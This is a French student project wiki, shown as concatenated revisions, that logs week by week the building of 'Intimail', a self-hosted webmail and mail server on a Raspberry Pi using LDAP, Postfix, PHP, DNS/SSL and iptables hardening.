Côté web : Début du travail sur les pièces jointes, manque par contre l'affichage des PJ quand on ouvre un mail depuis l'interface. Manque la mise à 1 de l'attribut "pj" quand une pièce jointe est présente.

Côté serveur : La complexité du script permettant l'extraction des informations des mails devenant trop importante, nous avons pris le parti de réécrire le code dans un langage un peu plus simple : le Perl. Il permettra d'éviter l'utilisation de (nombreuses) variables d'environnement, tout en proposant des performances accrues.

===Semaine 17 (25/01/2016)===

Côté web :
* Poursuite du travail sur les pièces jointes : envoi OK, types supportés GIF, JPG, PNG, PDF, ZIP, vérification par extension MIME, taille max d'une PJ variabilisé.
* Travail sur l'en-tête des mails envoyés : résolu un bug qui disait qu'une pièce jointe était présente même quand on envoyait que du texte (type text/html quand pas de PJ au lieu de type data/multipart tout le temps dans le header mail)
* Gros travail sur les fichiers d'en-tête JSON : fonctions PHP de suppression d'un mail (fichier sur le disque et suppression dans l'en-tête JSON), fonctions de mise à jour du quota à l'envoi (réception fonctionnel aussi), fonctions d'ajout d'un mail (fichier sur le disque et en-tête JSON)
* Interface : gestion des différentes boites : les mails écrits se retrouvent dans "Envoyés", les mails reçus dans "Boite de réception", manque que le flag comme spam pour les mettre dans la boite à spam, mais la boite est déjà là en tout cas

Côté serveur : Implémentation de la gestion des quotas. Quand un mail arrive, chaque destinataire voit son quota contrôlé pour déterminer si oui ou non le mail peut être délivré. Comme nous l'avions dit précédemment, postfix gère le rebond des mails grâce au code de terminaison du script. Or nous à priori il va falloir proposer une solution maison pour pouvoir le faire. En effet, si un mail est refusé pour cause de quota plein, le mail reçu est tout bonnement supprimé sans notifier ni le destinataire, ni l'envoyeur.

===Semaine 18 (01/02/2016)===

Côté web :
* Identification d'un administrateur ou simple utilisateur
* Début de création de la page de gestion des comptes : une page administrateur permettant de régler quelques variables (par ex: taille max des PJ, nom de domaine, création d'un compte...), et de sélectionner un utilisateur existant redirigeant vers...
* ... une page de gestion d'un compte particulier sélectionné au préalable, permettant de changer l'UID, le nom de la personne, le quota, le mot de passe, ou de supprimer le compte
* Configuration générale du webmail (variables nom de domaine, identification de l'administrateur LDAP, port LDAP...) via un fichier config.php à part contenant ces valeurs.
* Création d'une fonction permettant de modifier un paramètre de la configuration par lecture/modification/réécriture du fichier de config.
* Après une journée de prise de tête : configuration via un conteneur JSON, plus simple à manipuler pour en modifier les paramètres depuis l'interface. Le fichier se nomme désormais config.inc. Un soin est apporté à l'interdiction d'accès aux fichiers ".inc" : dans la barre d'adresse en accès au fichier le client reçoit une erreur 403, cela évite que n'importe qui puisse voir le contenu du fichier et les précieux identifiants du serveur LDAP... tout en laissant à l'utilisateur web www-data la lecture du fichier pour son usage.

Côté serveur :
Mise en place d'un système de récupération des pièces jointes. Pour cela nous utiliserons la commande munpack du paquet mpack. Cette commande permet de décomposer un fichier mail pour notamment en récupérer les pièces jointes. De plus, après test et concertation, nous nous sommes rendu compte qu'il serait intéressant d'utiliser cette même commande pour extraire les messages des mails, évitant ainsi un chargement assez long sur l'interface graphique.

===Semaine 19 (08/02/2016)===
Côté Web :
* Implémentation du back-end des fonctions de gestion d'un compte : changement UID, mot de passe, nom+prénom, quota, tout fonctionne.
* Suppression d'un compte : fonctionnelle
* Création d'un compte : fonctionnelle
* Création d'une fonction permettant d'ajouter un utilisateur à une liste/un groupe donné(e) : OK
* Création d'une fonction permettant de supprimer un utilisateur d'une liste/un groupe donné(e) : OK
* Création d'une fonction permettant de lister les groupes existants : OK
* Création d'une fonction permettant de créer/supprimer un groupe : OK

Au 10/02, on peut créer des comptes, les dossiers sont crées sur le système sans problème à réception d'un mail de bienvenue, on peut envoyer et recevoir des messages, donner les droits d'administrations, gérer la configuration du webmail depuis l'interface, gérer les utilisateurs et leurs attributs depuis l'interface, tout semble prêt relativement au cahier des charges initial. Nous allons migrer notre installation sur une autre IP et autre domaine.

Côté serveur :
Croyant que les fonctionnalités demandées étaient implémentées, nous nous sommes rendu compte après tests que les mails envoyés d'un compte Intimail à un autre compte Intimail n'apparaissaient pas. Ceci était du au fait que le script utilisé n'était activé que lors de la réception d'un mail par le réseau (serveur smtp). Nous avons donc modifié la manière donc les mails sont passés au script, en ajoutant une règle dans <code>master.cf</code> :
mailrte unix - n n - 5 pipe
flags=Rq user=vmail null_sender=
argv=/home/moth/Documents/pfe/postfix/json_parser.pl $queue_id $size $sender $recipient
Pas de grande nouveauté ici. Dans le fichier <code>main.cf</code> :
virtual_transport = mailrte

Ces commandes passent TOUT les mails au script défini via l'entrée standard. C'est notre script qui doit alors se débrouiller pour délivrer les mails (précédemment, postfix se chargeait toujours d'écrire les fichiers). Encore une fois, nous avons donc dû modifier notre programme en conséquence.

===Semaine 20 (15/02/2016)===
Nous avons migré la raspberry d'une IP interne au réseau Polytech vers une IP externe. La migration s'est passée sans aucun problème, le plus long étant d'attendre que les zones DNS se propagent (cela a bien pris 1 heure !). Nous sommes donc passés de 193.48.57.171 vers 5.23.44.85.
Nous émettons enfin des mails vers les serveurs extérieurs (en particulier Google Mail, Microsoft Live...). La théorie de départ que nos échecs d'envoi étaient dû aux restrictions du CRI s'est donc bien vérifiée : plus aucun problème juste en migrant.

Finalisation de la gestion des PJs : en cas de mail contenant une pièce jointe, un bandeau permet d'ouvrir chacune d'entre-elles dans un nouvel onglet. La pièce jointe en base 64 dans le fichier mail brut est reconstruite dans un dossier accessible au serveur web puis supprimée pour un gain de place (le fichier d'origine ou reconstruit est plus petit en taille que sa version encodée en base 64, on optimise donc ainsi le quota et l'espace disque).

Corrections de bogues d'encodage des mails entre ISO et UTF8.

Travail sur la création d'un paquet Debian.

===Semaine 21 (22/02/2016)===

* Tournage de la vidéo du projet avec Laurent Engels du service Communication
* Fin de la rédaction du rapport final de PFE
* Rédaction du diaporama de présentation orale du PFE

== Fichiers Rendus ==
Interface web : [https://intimail.pw intiMail.pw]

Rapport de Mi-Projet : [http://projets-imasc.plil.net/mediawiki/images/2/23/P9_LIBAERT_TENEUR_DEC15.pdf ICI]

Rapport de Projet : [http:// Soon™]

Code de l'interface + README expliquant le contenu : [http://projets-imasc.plil.net/mediawiki/images/7/73/Intimail.zip intiMail.zip]

Vidéo de Projet : [http:// Soon™] (Tournée le 22/02 10h avec Laurent Engels)

Fichier:Intimail.zip

2016-02-23T10:22:49Z

Tteneur : Archive contenant les sources de l'interface web et tout le code PHP et styles. Inclut un README expliquant globalement quoi est quoi dans quel dossier.

Archive contenant les sources de l'interface web et tout le code PHP et styles. Inclut un README expliquant globalement quoi est quoi dans quel dossier.

P9 Système d'hébergement domestique

2016-02-23T10:21:05Z

Tteneur : /* Fichiers Rendus */

==Cahier des charges==
===Présentation générale du projet===
====Contexte====

Les gens font confiance à des organismes comme google pour gérer leurs courriels, voire pour les protéger. Il n'est pas évident que leur confiance soit bien placée. Ce projet doit permettre à tout utilisateur de créer quelques comptes de messagerie sur une système embarqué de type raspberry et permettre de conserver les données à la maison.

Le système doit être constitué à base de standards (base LDAP, serveur de messagerie connu et maintenu, client de messagerie idem). L'interface d'administration doit être elle aussi très simple d'utilisation.

Un effort particulier doit être porté sur l'alimentation du système embarqué. L'idéal serait un mode de veille lorsqu'aucun paquet TCP/IP n'est adressé à la machine. Il est aussi demandé de mettre au point une alimentation à base d'énergie renouvelable (e.g. panneau solaire) permettant d'alimenter totalement ou partiellement le système. Enfin pour permettre de se passer de la box grande consommatrice d'énergie, le système embarqué doit pouvoir en reprendre les fonctionnalités principale (connexion avec le DSLAM, redirection des ports UDP/TCP, ...).

====Objectif du projet====

L'objectif est de réaliser un système embarqué avec une alimentation autonome pour héberger une messagerie électronique domestique. Par domestique, il faut comprendre pour une dizaine de boites aux lettres. En outre, le système devra pouvoir être alimenté par un panneau solaire ou, le cas échéant, prendre relai sur le secteur lorsque l'alimentation fournie par le soleil n'est plus suffisante.

====Description du projet====
====Choix techniques : matériel et logiciel====
Matériel obtenu à ce jour :
* 1 Raspberry Pi 2 [obtenue le 07/10/2015]
* 1 Carte µSD 8 GB [obtenue le 07/10/2015]
* 1 Cable USB/µUSB [obtenu le 07/10/2015]
* 1 Câble RJ45 [obtenu le 07/10/2015]

==Suivi de l'avancement du Projet==
===Semaine 1 (21/09/2015)===

Notre but étant la réalisation d'une messagerie électronique domestique capable de gérer une dizaine de boites aux lettres, nous nous orientons dans un premier temps sur les points suivants que nous allons éclaircir afin d'en tirer un cahier des charges.

Nous allons étudier et approfondir les points suivants :

* Installer une base LDAP, ou avoir plutôt avoir plusieurs comptes UNIX
* Installer un serveur de messagerie SMTP, et IMAP/POP
* Investiguer du côté de POSTFIX
* Étudier la taille d'un mail vide, et en moyenne, et voir combien ça fait par rapport au système
* Enquêter sur la forme des fichiers utilisateurs (généraliser les données)

Ce qui doit pouvoir être fait :
* Distinction administrateur / utilisateur
* Un administrateur doit pouvoir gérer les comptes de messagerie (addition/suppression/etc)
* Gestion des quotas/espace disque réservé par ex
* Choix du quota (par qui ? options ?)
* SECURISER : apache, mod_security, étudier l'utilisation d'un pare-feu logiciel ?

Prévision du Matériel :
* Raspberry Pi 2
* Alimentation RPi
* Carte SD (8Go)

Le module énergétique sera équipé des éléments suivants :
* 1 MPPT
* Convertisseur Numérique Analogique : MAX5250
* Potentiomètre : MCP4261
* Relai : R561D.56 NTE
* Résistances : Deux de 100Ω et deux de 10kΩ
* une LED
* 40 pins broches mâle/mâle (Digikey Parts : A26509-40-ND), découpé par la suite en 8-8-6-4
* Circuit d'alimentation autonome : cellule photovoltaique
* Circuit d'alimentation autonome : batterie (avec port micro-USB et port USB)

===Semaine 2 (28/09/2015)===

Dans un premier temps l'idée est de développer le système principal avec les fonctionnalités. Autrement dit les différents packages et fonctionnalités installées sur la raspberry ainsi que l'interface utilisateur sur le site web. Dans cette partie nous listerons les différentes fonctionnalités que nous aimerions implémenter.

☐ Serveur SMTP (communications entre serveurs mails SMPT) et serveur IMAP/POP3 (postier)
*Postfix pour SMTP
*Dovecot, Courier ou Cyrus pour IMAP/POP3
*Implémentation de protocoles plus complexes et offrant notamment des fonctionnalités de chiffrement (SMTPS / ESMTP / SSL / HTTPS / Certificat)
*LMTP

☐ Gestion particulière des gros mails et notamment de leurs pièces jointes
*Bigfile pour un stockage en ligne
*Décodage base 64 des pièces jointes ? (difficulté++)

☐ Gestion des utilisateurs
*Plusieurs comptes, en utilisant LDAP
*La possibilité de s'identifier en tant qu'administrateur

☐ Listes de diffusion

☐ Comptes mail temporaires (10 minutes mail like)

☐ Antivirus & Spam
*ClamAV ou SpamAssassin ou autres : lourd.
*iptables dans un premier temps.
*Antispam maison, gestion du contenu, marquage de spam par l'utilisateur, "boites intelligentes" de spams.

☐ Les noms de domaines sont peut être nécessaires dès le départ pour tester le fonctionnement des fonctionnalités (telnet qui dit nope ?)
*Record A
*Record MX

☐ Sauvegarde automatique périodique de la Raspberry Pi (pendant le développement, pour éviter de perdre les données)

Il faudra aussi prêter attention aux fonctionnalités disponibles sur l'interface et ne pas laisser des fonctionnalités fantômes issues d'un template générique que l'on a pu trouver sur l'Internet.

===Semaine 3 (05/10/2015)===
Nous avons précisé les éléments constituants l'interface web :
* Gestion des comptes (création, modification, suppression d'utilisateurs...)
* Gestion des listes de diffusions
* Gestion des quotas
* Affichage du courrier
* Gestion de l'antivirus

===Semaine 4 (12/10/2015)===
Nous avons mis en place un github pour suivre le développement : [https://github.com/biboon/pfe GitHub].

Nous commençons à visualiser la structure de notre serveur mail. Dans un premier temps nous constituons notre base de données. Finalement nous utiliserons bien LDAP, qui semble relativement simple à utiliser contrairement à notre première impression.

Nous avons utilisé [https://wiki.gandi.net/fr/hosting/using-linux/tutorials/debian/mail-server-ldap un tutoriel de Gandi] pour mettre en place la base de notre annuaire. Nous utiliserons les schemas disponibles dans le paquet courier-ldap. Nous avons écrit un script en perl permettant d'installer ce schema facilement, nous évitant d'avoir à réinstaller le paquet complet pour récupérer un unique fichier.

Il est important maintenant de changer les règles d'accès à la base de données. En effet la base de données est disponible pour n'importe qui, on peut y entrer avec la commande :
ldapsearch -c -h localhost -b dc=domain,dc=tld -x
Nous avons ici aussi écrit un script permettant de le faire automatiquement. A ce stade il est nécessaire de s'identifier en tant qu'administrateur pour voir l'arbre :
ldapsearch -c -h localhost -b dc=domain,dc=tld -D "cn=admin, dc=domain,dc=tld" -W

On peut dorénavant développer la structure de notre directory. Nous avons choisi de reprendre la base du tutoriel de Gandi et d'ajouter une entité mail qui regroupera tout les utilisateurs du serveur mail. Nous avons donc écrit un fichier <code>.ldif</code> décrivant cette structure et l'avons ajoutée avec la commande :
ldapadd -D "cn=admin,dc=domain,dc=tld" -W -h localhost -f ldif/mail_tree.ldif
On peut vérifier que la structure a bien été ajoutée à notre arbre avec la commande :
ldapsearch -D "cn=admin,dc=domain,dc=tld" -W -h localhost -b "dc=domain,dc=tld"

Maintenant, on peut ajouter nos utilisateurs à la base de données. Ici il est d'autant plus intéressant d'automatiser cette manipulation. Le principe est d'écrire un fichier <code>.ldif</code> et de l'ajouter de la même manière que précedemment avec <code>ldapadd</code>. Nous nous sommes inspirés ici encore du tutoriel de Gandi tout en l'adaptant. Le script perl <code>add_user.pl</code> simplifie grandement l'ajout d'un utilisateur. On pourra par la suite le modifier pour l'utiliser directement avec du code php.
On peut vérifier que l'utilisateur a bien été ajouté avec la commande habituelle <code>ldapsearch</code> et même tester l'identification avec :
ldapwhoami -vvv -h localhost -D "cn=username,dc=mail,dc=domain,dc=tld" -x -W
Si la commande renvoie <code>Result: Success (0)</code> alors l'identification a fonctionné.

La commande <code>ldapsearch</code> permet aussi de filtrer les recherches dans la base. Par exemple, avec notre configuration on peut afficher les utilisateurs avec la commande :
ldapsearch -D "cn=admin,dc=domain,dc=tld" -W -b "dc=mail,dc=domain,dc=tld" "(&(objectClass=CourierMailAccount))"
On peut aussi indiquer quels champs à afficher en les indiquant à la fin de cette commande.

===Semaine 5 (19/10/2015)===
==== DNS et SSL ====
Nous avons obtenu un nom de domaine auprès de Gandi pour notre projet. Le site est accessible à l'adresse : [https://intimail.pw intimail.pw]

nous avons configuré un serveur DNS et la certification SSL sur notre raspberry pi. Pour la démarche je vous renvoie à notre [http://projets-ima.plil.net/mediawiki/index.php?title=PRA2015_-_Configuration_des_commutateurs#Semaine_4 wiki] de TP de Protocoles Réseaux Avancés. La méthode est identique.

De la même manière que dans le TP de PRA, nous voulions implémenter DNSSEC. Cependant arrivé à la dernière étape, nous nous sommes rendu compte que Gandi ne propose pas cette fonctionnalité pour les .pw. Dans l'éventualité où les DNSSEC seraient implémentés au cours de notre projet, nous pourrons activer cette fonctionnalité rapidement.

La différence réside dans le fait que pour un serveur mail il faut un enregistrement de type MX. Dans le fichier de configuration des enregistrements de bind, nous avons ajouté les lignes :
@ IN MX 10 mail.intimail.pw.
mail IN A 193.48.57.171

De plus, un serveur mail doit pouvoir faire les résolutions inverses. En effet certains serveurs mail sont configurés pour rejeter ou retarder la livraison de mails provenant de serveurs dont la résolution inverse n'est pas effectuée. L'enregistrement PTR devient alors :
171 IN PTR mail.intimail.pw.

A ce stade, le serveur DNS devrait être correctement configuré et le SSL fonctionnel.

==== LDAP ====
Pour notre annuaire LDAP, nous avons utilisé les schémas proposés dans le package courier-ldap. Ces fichiers particuliers permettent à ldap de structurer sa base de données. Après différents essais et discussion, nous avons retenu la structure suivante :

[[Fichier:Pfe1516_09-ldap_directory.PNG|600px|thumb|center|LDAP directory structure]]

Nous avons regroupé la totalité de nos entrées sous une entité commune mail, celle ci se divisant ensuite en deux groupes people et groups. Le dc people regroupe les informations des utilisateurs, que l'on détaillera plus tard. Le dc groups permettra quant à lui regroupera les différentes listes de diffusion. Il contient aussi le groupe particulier des administrateurs qui permettra de donner des droits privilégiés à certains utilisateurs.

Pour ce qui est des informations des utilisateurs, voici un exemple de fichier de configuration pour l'utilisateur Jean Valjean :
dn: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw
uid: jvaljean
mail: jvaljean@intimail.pw
sn: Valjean
givenName: Jean
displayName: Jean Valjean
mailbox: intimail.pw/jvaljean/
homeDirectory: /home/vmail/
objectClass: top
objectClass: inetOrgPerson
objectClass: CourierMailAccount
userPassword: {SSHA}gCbVPaSGUaqjrq0mTQY77sOH4Xcq59Fg

Ces différentes informations ne sont pas définitives : certains champs peuvent peut être être retirés (comme le champ homeDirectory qui pour l'instant est commun et identique à tout les utilisateurs).

==== Web ====

Nous avons cherché un template léger, simple, mais néanmoins fonctionnel et agréable pour notre interface web. L'idée est, plutôt que de prendre un webmail classique dont nous n'utiliserions que 25 à 50% des capacités, de réaliser un webmail qui répond à toutes les exigences du cahier des charges et implémentant uniquement le nécessaire.
Il s'est avéré après recherches que l'une des meilleures solutions était de partir sur une interface codée en PHP (ce dernier implémente une API dédiée à LDAP), agrémentée de Bootstrap pour le JS/CSS.
Notre choix s'est finalement porté sur le template Lumino, que l'on peut [http://medialoot.com/preview/frame/lumino.html essayer par ici].

Après divers test, il s'avère qu'une page de cette interface met en moyenne pour charger totalement :
* 2,10s sur une connexion mobile 3G moyenne (4MB/s)
* 1,90s sur une connexion 4G moyenne (15MB/s)
* 2,80s sur une connexion DSL moyenne (2MB/s)
* 1,90s sur une connexion Wifi (30MB/s)
* 1,70s sur une connexion THD (100MB/s)
Résultats qui semble apporter bon compris poids/qualité de l'interface.

Nous avons alors déployé cette interface, dans un dossier /var/www/webmail/, puis ajouté le VirtualHost correspondant à notre site dans la configuration apache
Config à venir, quelqu'un a éteint tutur06, notre raspberry est donc off :(

===Semaine 6 (26/10/2015)===
==== Firewall ====
Etant donné que nous avons subi plusieurs tentatives de connexion SSH frauduleuses sur notre serveur, nous avons décidé de mettre en place un semblant de sécurité sur ce dernier. Nous avons donc écrit un petit script iptables simples pour filtrer les entrées. Celui ci se contente de bloquer tout les paquets entrant et de laisser passer les paquets par les ports ou nous avions vraiment besoin (ici SSH, HTTP, HTTPS, DNS, NTP, SMTP, POP3 et IMAP).
Après discussion, nous avons resserré davantage nos règles. Désormais le SSH n'est autorisé que pour des adresses ip spécifiées dans un fichier de liste blanche.

Nous avons aussi repéré dans le fichier /var/loh/auth.log plusieurs tentatives de connexions. Dans un premier temps nous avions cru à un problème de configuration de notre structure. Après avoir vérifié dans le log /var/log/syslog nous nous sommes aperçu qu'il s'agissait de connexions depuis des ip extérieures qui nous sont inconnues. Etant donné le nombre d'essais nous pensons que c'était une tentative d'intrusion sur le serveur SMTP par bruteforce. Comme première approche de contre-mesure nous avons pris le parti de constituer une liste noire. En effet ici nous n'avons pas le choix de laisser le port 25 (SMTP) ouvert. Pour cela nous avons utilisé les commandes :
cat /vat/log/syslog | grep SASL\ LOGIN\ authentication\ failed # Pour lister les messages de connexion échouées
sed -ne 's/.*\[$[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}$\].*/\1/p' # Pour n'afficher que les ip
*file* | sort | uniq # Pour classer et éliminer les doublons

On peut ensuite vérifier que les ip listées sont bien inconnues. Nous avons ainsi constitué une liste noire de 23 adresses ip.

==== Postfix ====
Nous avons installé l'agent de transfert de mail Postfix (<code>apt-get install postfix postfix-ldap</code>) sur la raspberry et configuré celui ci en accord avec notre base de données LDAP. Après un test d'envoi via telnet :
telnet ex 25
Trying xxx.xxx.xxx.xxx...
Connected to intimail.pw.
Escape character is '^]'.
220 mail.intimail.pw
ehlo intimail.pw
250-mail.intimail.pw
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-ENHANCEDSTATUSCODES
250-8BITMIME
250 DSN
MAIL FROM:toto(arobase)titi.com
250 2.1.0 Ok
RCPT TO:jvaljean(arobase)intimail.pw
250 2.1.5 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
Subject: Premier Test
Here is my test
.
250 2.0.0 Ok: queued as 0EDFC21428
quit
221 2.0.0 Bye
Connection closed by foreign host.

Il est maintenant intéressant de tester notre DNS avec un outil en ligne. Nous avons ici utilisé l'excellent [http://www.dnsstuff.com dnsstuff] pour cela. C'est grâce à ce dernier que nous avons pu corriger les erreurs de notre serveur mail, à savoir :
*SMTP Greeting : Il permet de faire en sorte que le serveur mail est reconnu par les autres serveurs. Cela évite que certains serveurs ne refusent les mails provenant d'intimail.pw.
*Acceptance of abuse/postmaster : Les serveurs mails doivent avoir deux adresses abuse@... et postmaster@... . Nous avons donc créé ces deux boîtes mail pour répondre à ces conditions

==== Cyrus SASL ====

Nous avons implémenté l'authentification sur le serveur SMTP en SASL avec Cyrus. Après configuration, on peut maintenant envoyer des mail depuis notre serveur sur un serveur extérieur tel que gmail.

==== LDAP ====

Nous avons créé quelques utilisateurs LDAP pour peupler notre répertoire, contenant diverses informations utiles, afin de pouvoir commencer à implémenter une API d'authentification et réaliser divers essais sur l'interface web. Nous avons aussi ajouté un champ quota dans les informations des utilisateurs. A première vue ce champ pourra être utilisé avec le serveur IMAP et POP3. Cependant, afin d'éviter d'installer des services supplémentaires, nous choisissons de nous orienter dans une autre direction. Postfix nous permet à l'heure actuelle d'envoyer et recevoir des mails avec nos utilisateurs virtuels, et stocke chaque mail dans un fichier sur le système. L'interface web peut donc, sans Dovecot ou serveurs IMAP/POP3, parser par elle-même les mails reçus et préparer un envoi. Il nous faut, en prenant cette voie, réfléchir à l'implémentation des quotas, non gérés par PostFix. L'idée serait de lancer un script quand Postfix reçoit un mail, avant de le stocker sur le système, et de vérifier que la taille de ce mail + de ceux déjà reçu/envoyés par avant ne dépasse pas le quota attribué à un utilisateur, et rejeter le mail à l'expéditeur si on va dépasser alors le quota.

==== Web ====

Nous avons modifié le template de site web en accord avec nos objectifs. L'utilisateur doit d'abord se connecter avec ses identifiants LDAP (uid et mot de passe correspondant à son unique Distinguished Name (DN: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw). Une fois connecté, il tombe sur une interface que l'on pourrait appeler une "vue globale", réunissant les informations principales : le nombre de nouveaux mails, l'utilisation actuelle de son quota sur le disque, les quelques derniers mails reçus, et un calendrier afin de se repérer simplement niveau date.
Sur le côté, il est possible d'aller voir plus en détail l'inbox où se trouvent tous les mails reçus, ou encore aller voir les messages envoyés, et supprimer les courriels dans la poubelle. Si l'utilisateur est administrateur, il a aussi accès à un onglet "Manage" d'où il pourra prendre fonction de ses pleins pouvoirs. Cette dernière fonctionnalité n'étant pas encore implémentée, tout utilisateur voit pour l'instant cet onglet.

Toute la journée du mardi le code web a été réaménagé et modulé. Nous réfléchissons désormais au stockage et à la récupération de l'état instantané du quota mail (stocker cette valeur dans un fichier, ou en fait un attribut supplémentaire d'un utilisateur LDAP, où est d'ailleurs déjà stocké son quota max). L'idée est de ne pas trop solliciter le système et d'incrémenter ou décrémenter une variable à chaque réception/envoi de mail plutôt que recalculer entièrement la taille du dossier où sont les mails. On pourra en outre envisager de mettre en place une tâche périodique (via CRON) qui vérifiera en heures creuses que la taille du dossier mail est bien égale au quota en variable dans le système.

Par la suite il a été convenu de supprimer Apache et de le remplacer par le serveur web Lighttpd, plus léger et plus performant. Pour la configuration, on rajoute simplement un hôte au fichier /etc/lighttpd/lighttpd.conf auquel on fournit notamment le chemin d'accès aux fichiers du site, ou encore les clés pour SSL. Nous avons alors réinstallé PHP et nous l'avons reconfiguré et activé pour Lighttpd. Enfin, l'activation du mod_rewrite et la mise en place de règles différentes de celles d'Apache (qui font la même chose mais à la sauce Lighttpd) nous permettent de conclure cette migration en environ 25-30min (!).
Le mod_rewrite, un peu gadget nous l'avouons, permet chez nous de résoudre une URL de type www.domaine.com/page.php en écrivant simplement www.domaine.com/page. On atteint donc la page de connexion de notre webmail par [https://www.intimail.pw/login https://www.intimail.pw/login].
Nous avons en outre pu préciser la suite de notre projet. L'idée est d'avoir 2 ports sur lequel Postfix écoute (disons *:25 et localhost:10025). A réception d'un email sur *:25, postfix est configuré pour lancer un script que nous réalisons. Ce script vérifie le quota de l'utilisateur, si le mail reçu ne le dépasse pas il transfère alors le mail à localhost:10025 qui l'accepte et écrit le mail sur le disque de manière normale. Sinon, il renvoie un code d'erreur et le mail n'est pas accepté. De plus, le script mettra à jour un index dans un fichier propre à chaque utilisateur que le webmail lira. En somme, l'utilisation de fichiers quota et index évite à l'interface web de vérifier entièrement les dossiers et sous-dossiers mail à chaque actualisation de la page, ce qui créerait une charge énorme pour la Pi. On s'abstient en plus d'installer Dotecove/Un serveur IMAP/Un serveur POP grâce à notre webmail et nos scripts qui gèrent tout et uniquement ce dont nous avons besoin.
Notre architecture s'oriente donc sur les schémas suivants :

[[Fichier:Pfe1516_09-classicmail.PNG|600px|thumb|center|A classical mail server infrastructure]]
[[Fichier:Pfe1516_09-ourmail.PNG|600px|thumb|center|Our light mail server infrastructure]]

==== Scripting ====

Nous avons écrit un script perl pour envoyer des mails de manière automatique. Précisons que nous avons dû installer <code>libswitch-perl</code> pour pouvoir l'utiliser. Ce package devra être ajouté dans les dépendances lors de la constitution du fichier d'installation de notre outil.

===Semaine 7 (02/11/2015) - Architecture du système de fichiers ===

[[Fichier:Pfe1516_09-archi.PNG|600px|thumb|center|File system architecture]]

Notre système s'articule autour de 2 chemins distincts. A droite en rouge, l'architecture classique par défaut de postfix. Les mails reçus sont enregistrés par défaut dans un dossier par utilisateur et par domaine, dans le dossier new. A gauche notre architecture greffée, dans un sous dossier différent, par utilisateur et par domaine. Dans ces sous-dossiers, on distingue alors 2 dossiers et 1 fichier.
* Le fichier contient la valeur actuelle du quota de l'utilisateur. On préfère cette méthode plutôt que de faire calculer l'espace disque disponible dans un dossier par le système à chaque fois. On fera tourner un script, de nuit, périodiquement, pour vérifier que le quota correspond bel et bien à la valeur dans le fichier, pour éviter d'incrémenter/décrémenter une erreur.
* Un dossier mail, dans lequel sont stockés les mails envoyés
* Un dossier json, dans lequel sont stockés les conteneurs json, qui contiennent les en-têtes des mails envoyés, reçus, spams et poubelles. On accède donc à toutes les infos utiles au webmail en lisant ces json, plutôt que de lire à chaque fois tous les mails, ce qui serait extrêmement lourd et lent.

===Semaine 8 (09/11/2015) - Postfix et filtrage===
Nous avons établi une première version de notre script de traitement des mails arrivant sur le serveur. Nous nous sommes inspirés pour cela de la configuration proposée dans le [http://www.postfix.org/FILTER_README.html manuel] de Postfix. La configuration se fait via le fichier <code>master.cf</code>. Ce fichier permet de configurer tout les processus utilisés par Postfix pour fonctionner. Dans notre cas, il nous permet de déclarer un service de filtrage et d'indiquer au démon qui récupère les mails entrants (smtpd) de les transférer à ce service via un programme pipe. La configuration se fait de la manière suivante :

# ==========================================================================
# service type private unpriv chroot wakeup maxproc command + args
# (yes) (yes) (yes) (never) (100)
# ==========================================================================
smtp inet n - - - - smtpd
-o content_filter=filter
filter unix - n n - 5 pipe
flags=Rq user=vmail null_sender=
argv=/path/to/script $queue_id $size $sender $recipient

Nous avons décidé de suivre la même structure que dans le manuel de Postfix. C'est à dire que postfix fait appel à un script de filtrage principal, qui va lui même faire appel à d'autres scripts répondant à des besoins plus spécifiques. Pour l'instant, le script va parser certaines informations des mails entrant dans des fichier .json, qui servent de base de données. En voici un exemple :
[
{
"from": "michel.drucker@gmail.com",
"subject": "Vivement dimanche",
"timestamp": "2015-11-8 19:59:53",
"unixtimestamp": "1447012793",
"queueid": "48FE03FA87",
"filepath": "???",
"size": "1676",
"status": "0",
"pj": "0",
"id": "0",
"to": "jbond@intimail.pw"
}
]
Il serait également intéressant d'ajouter un champ permettant d'indiquer le chemin du fichier contenant le mail. Cependant au moment de l'exécution, même si nous avons accès au contenu du fichier, il est à priori impossible de connaître le nom définitif du fichier (il y a une part d'aléatoire). Ils serviront à l'affichage des mails dans les boîtes de réception dans le webmail. On pourra par la suite ajouter d'autres scripts permettant par exemple de vérifier la nature du message ou encore son contenu (Antivirus / Antispam / Pièces jointes).

Il est intéressant également de pointer ici que le fichier de configuration permet de préciser l'utilisateur qui va exécuter le script de filtrage. Ici nous avons mis <code>user=vmail</code>. Le script de filtrage s'exécutera donc en tant que vmail. Or pour l'interface, il faut qu'apache puisse accéder aux fichiers écrits par des processus de vmail. Pour les fichiers .json, écrits par le script de filtrage décrit plus haut, la solution du relativement simple. Il a suffit d'ajouter quelques commandes chmod pour autoriser la lecture et éventuellement l'écriture au groupe. Nous avons ensuite ajouté www-data au groupe vmail.

Quant aux fichiers contenant les mails, ceux ci sont écrits par postfix, et nous n'avons pour l'instant pas trouvé le moyen d'autoriser l'accès à ces fichiers par www-data. Ce problème, ainsi que la difficulté à récupérer le nom du fichier (décrit plus haut), nous pousse à nous demander si le délivrement des mails ne devrait pas être géré par un programme de notre confection, plutôt que le programme sendmail de postfix. En théorie, cette méthode répond parfaitement aux deux problèmes mais sendmail propose certainement une gestion plus aboutie que nous ne saurons reproduire dans un temps limité.

===Semaine 9 (16/11/2015)===
===Semaine 10 (23/11/2015)===
===Semaine 11 (30/11/2015)===

Nous avons travaillé sur le parser de mails et tentons d'implémenter notre architecture de fichiers.

D'autre part, nous avons travaillé l'interface web. Le contenu des tables affichant les en-tête des mails étant généré dynamiquement en fonction du fichier .json, il est impossible d'ajouter des balises <a href> pour rendre ces en-têtes cliquables pour afficher le contenu d'un mail.

La solution retenue et implémentée est d'utiliser un événement JavaScript. Pour une table avec un ''id'' table, on récupère l'en-tête cliquée à l'aide de la fonction JavaScript suivante :
$('#table').on('click-row.bs.table', function (e, row, $element) {
console.log(row, $element);
alert("L'utilisateur d'intimail a cliqué sur "+row);
});

On peut donc récupérer l'en-tête du fichier, plus spécifiquement le champ contenant le chemin vers le fichier mail brut. On pourra alors envoyer ce chemin dans une variable à l'aide d'une requête POST lancée dans la fonction ci-dessus avec AJAX, et être emmené vers une page qui traitera et affichera à l'utilisateur ce fichier mail brut.

===Semaine 12 (07/12/2015)===
==== Parseur pour les mails entrants ====
